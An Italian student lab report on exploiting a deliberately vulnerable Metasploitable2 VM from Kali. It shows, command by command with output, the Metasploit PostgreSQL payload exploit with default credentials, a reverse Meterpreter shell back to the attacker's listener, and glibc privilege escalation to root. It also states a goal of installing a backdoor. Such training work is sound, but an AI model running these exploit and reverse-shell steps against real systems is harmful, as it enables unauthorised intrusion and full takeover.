

HACKING

S 7 - E 3

SOMMARIO

- 3 Obiettivi
- 4 Ricerca exploit
- 5 Exploit setting
- 6 Exploit
- 7 Escalation
- 8 Suggester
- 10 Exploit suggester
- 12 Escalation done

IP SETTING

```
(kali㉿kali)-[~] $ ifconfig  
File System  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
      inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255  
        inet6 fe80::37c7:2961:d92f:4725 prefixlen 64 scopeid 0x20<link>  
          ether 08:00:27:ad:25:87 txqueuelen 1000 (Ethernet)  
            RX packets 22861 bytes 2116268 (2.0 MiB)  
            RX errors 0 dropped 0 overruns 0 frame 0  
            TX packets 620 bytes 55706 (54.4 KiB)  
            TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536  
      inet 127.0.0.1 netmask 255.0.0.0  
        inet6 ::1 prefixlen 128 scopeid 0x10<host>  
          loop txqueuelen 1000 (Local Loopback)  
            RX packets 8 bytes 480 (480.0 B)  
            RX errors 0 dropped 0 overruns 0 frame 0  
            TX packets 8 bytes 480 (480.0 B)  
            TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
-bash: sys: command not found  
msfadmin@metasploitable:~$ ifconfig  
eth0      Link encap:Ethernet HWaddr 08:00:27:9b:64:f6  
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0  
            inet6 addr: fe80::a00:27ff:fe9b:64f6/64 Scope:Link  
              UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1  
              RX packets:293 errors:0 dropped:0 overruns:0 frame:0  
              TX packets:67 errors:0 dropped:0 overruns:0 carrier:0  
              collisions:0 txqueuelen:1000  
              RX bytes:24284 (23.7 KB) TX bytes:5354 (5.2 KB)  
              Base address:0xd020 Memory:f0200000-f0220000  
  
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1 Mask:255.0.0.0  
            inet6 addr: ::1/128 Scope:Host  
              UP LOOPBACK RUNNING MTU:16436 Metric:1  
              RX packets:123 errors:0 dropped:0 overruns:0 frame:0  
              TX packets:123 errors:0 dropped:0 overruns:0 carrier:0  
              collisions:0 txqueuelen:0  
              RX bytes:27369 (26.7 KB) TX bytes:27369 (26.7 KB)
```

OBIETTIVI



Fase 1

Ottenerne una sessione Meterpreter sul sistema target sfruttando una vulnerabilità sul servizio PostgresSQL di Metasploitable2.



Fase 2

Eseguire una escalation di privilegi per passare da utente limitato, eseguire "getuid" per verificare l'identità dell'utente corrente,



Fase 3

Istallare una backdoor e dimostrare che si può accedere ad essa in qualsiasi momento.

RICERCA EXPLOIT

Per definizione un exploit è una porzione di codice malevolo che sfrutta una vulnerabilità già presente. Fondamentale è l'impiego di Metasploit, un open source ricco di exploit all'interno del proprio database. Avviamo Metasploit Framework da un terminale di Kali mediante il comando **msfconsole**.

Inizia la ricerca mediante **search** seguito dall'exploit di nostro interesse. Abbiamo trovato l'exploit che fa al caso nostro e lo selezioniamo mediante **use** seguito dal path della nostra scelta.

```
=] metasploit v6.4.18-dev
+ -- --=[ 2437 exploits - 1255 auxiliary - 429 post
+ -- --=[ 1471 payloads - 47 encoders - 11 nops
+ -- --=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
msf6 > search exploit/linux/postgres/postgres_payload

Matching Modules
=====
#  Name                                Disclosure Date   Rank    Check  Description
-  --
0  exploit/linux/postgres/postgres_payload  2007-06-05      excellent Yes    PostgreSQL for Linux Payload Execution
1  \_ target: Linux x86                 .
2  \_ target: Linux x86_64               .

Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/postgres/postgres_payload
After interacting with a module you can manually set a TARGET with set TARGET 'Linux x86_64'

msf6 > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(exploit/linux/postgres/postgres_payload) >
```

```
msf6 exploit(linux/postgres/postgres_payload) > show options
      Trash   File System
Module options (exploit/linux/postgres/postgres_payload):
Name      Current Setting  Required  Description
--        _____           _____
VERBOSE    false            no        Enable verbose output

Used when connecting via an existing SESSION:
Name      Current Setting  Required  Description
--        _____           _____
SESSION   no               no        The session to run this module on

Used when making a new connection via RHOSTS:
Name      Current Setting  Required  Description
--        _____           _____
DATABASE  postgres          no        The database to authenticate against
PASSWORD  postgres          no        The password for the specified user
RHOSTS    [REDACTED]         no        The target host(s), see https://www.metasploit.com/wiki/RHOSTS
RPORT     5432              no        The target port
USERNAME  postgres          no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
--        _____           _____
LHOST     [REDACTED]        yes       The listen address (an interface name or IP)
LPORT     4444              yes       The listen port

Exploit target:
geombot.py
Id  Name
--  --
0   Linux x86

View the full module info with the info, or info -d command.

msf6 exploit(linux/postgres/postgres_payload) > set lhost 192.168.11.111
lhost => 192.168.11.111
msf6 exploit(linux/postgres/postgres_payload) > set rhost 192.168.11.112
rhost => 192.168.11.112
```

EXPLOIT SETTING

Una volta selezionato l'exploit, mediante **show options** visualizziamo la tabella contenente la lista di informazioni necessarie per avviare l'attacco. In questo caso specifico andremo a settare: **LHOST**, l'attaccante e **RHOST**, il bersaglio.

EXPLOIT

Lanciamo l'exploit, si crea una sessione Meterpreter che rappresenterà il nostro diretto collegamento con la macchina. Mediante il comando **getuid** identifichiamo l'utente con la quale stiamo eseguendo i comandi. Come riscontro abbiamo postgres, ovvero un utente che non ha i privilegi di root.

```
msf6 exploit(linux/postgres/postgres_payload) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/LNyisnqk.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:60177) at 2024-11-18 08:47:34 +0100

meterpreter > getuid
Server username: postgres
meterpreter > █
```

ESCALATION

S 7 - E 3

```
meterpreter > background
[*] Backgrounding session 1 ...
msf6 exploit(linux/postgres/postgres_payload) > search suggester

Matching Modules
=====
#  Name
-  Home
0  post/multi/recon/local_exploit_suggester  Disclosure Date  Rank  Check  Description
                                             .              normal  No      Multi Recon Local Exploit Suggester

Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

msf6 exploit(linux/postgres/postgres_payload) > use 0
msf6 post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):
=====
Name          Current Setting  Required  Description
SESSION        yes            yes       The session to run this module on
SHOWDESCRIPTION false          yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
```

SUGGESTER

Inseriamo il comando **background**, questo permetterà di mantenere in secondo piano la prima fase che abbiamo svolto. Siamo passati quindi da Meterpreter nuovamente a Metasploit, avviamo la ricerca **suggester**.

Il Suggester di Metasploit è un modulo che aiuta a identificare potenziali exploit utilizzabili su un sistema compromesso per ottenere un'escalation di privilegi o sfruttare altre vulnerabilità presenti. Lo settiamo associando la sessione precedentemente messa in background e avviamo.

SUGGESTER

Una volta avviato , avremo una lista di una serie di exploit elencati per nome, in rosso gli exploit non funzionanti, in verde quelli funzionali.

```
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.11.112 - Collecting local exploits for x86/linux ...
[*] 192.168.11.112 - 196 exploit checks are being tried ...
[+] 192.168.11.112 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 192.168.11.112 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 192.168.11.112 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.11.112 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[+] 192.168.11.112 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.11.112 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.11.112 - Valid modules for session 1:

#      Name          Potentially Vulnerable?  Check Result
-      --
1  exploit/linux/local/glibc_ld_audit_dso_load_priv_esc  Yes           The target appears to be vulnerable.
2  exploit/linux/local/glibc_origin_expansion_priv_esc  Yes           The target appears to be vulnerable.
3  exploit/linux/local/netfilter_priv_esc_ipv4           Yes           The target appears to be vulnerable.
4  exploit/linux/local/ptrace_sudo_token_priv_esc        Yes           The service is running, but could not be validated.
5  exploit/linux/local/su_login                          Yes           The target appears to be vulnerable.
6  exploit/unix/local/setuid_nmap                      Yes           The target is vulnerable. /usr/bin/nmap is setuid
7  exploit/linux/local/abrt_raceabrt_priv_esc          No            The target is not exploitable.
8  exploit/linux/local/abrt_sosreport_priv_esc         No            The target is not exploitable.
9  exploit/linux/local/ldconfig_priv_esc                No            The target is not exploitable.
```

```
msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > show options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
Name          Current Setting  Required  Description
SESSION        yes            yes       The session to run this module on
SUID_EXECUTABLE /bin/ping      yes       Path to a SUID executable

Payload options (linux/x64/meterpreter/reverse_tcp):
Name          Current Setting  Required  Description
LHOST         192.168.11.111   yes       The listen address (an interface may be specified)
LPORT         4444           yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
session => 1
```

EXPLOIT SUGGESTER

Fra gli exploit funzionanti, sceglieremo il primo, nuovamente compileremo la tabella show options, settando così la sessione.

In questo caso noteremo come il campo LHOST sia già compilato.

EXPLOIT SUGGESTER

Inoltre setteremo un altro campo, quello del payload.

Con **show payloads** potremo vedere le scelte disponibili. Nel nostro caso specifico settermo il payload 33.

Infine, come accortezza finale, mediante **show targets** potremo visionare i targets possibili. Solitamente Metasploit va ad impostare di default Automatic, o una scelta che ritiene consona, non necessariamente corretta. In questo caso, setteremo come target Linux x86, avendo Metasploitable quell'architettura.

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload 33  
payload => linux/x86/meterpreter/reverse_tcp  
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > show targets
```

Exploit targets:

	<u>Id</u>	<u>Name</u>
⇒	0	Automatic
	1	Linux x86
	2	Linux x64

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set target 1  
target => 1
```

ESCALATION DONE.

Una volta terminato il setting, non rimane che lanciare l'exploit. Ci ritroveremo nuovamente in una sessione meterpreter e verificando con il comando getuid, potremo apprezzar il nostro livello di authority è root.

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.LRsW2fLK' (1279 bytes) ...
[*] Writing '/tmp/.Ff9IpzMfAV' (286 bytes) ...
[*] Writing '/tmp/.GyVYStGFn2' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Meterpreter session 2 opened (192.168.11.111:4444 → 192.168.11.112:50158) at 2024-11-18 09:10:43 +0100

meterpreter > getuid
Server username: root
meterpreter >
```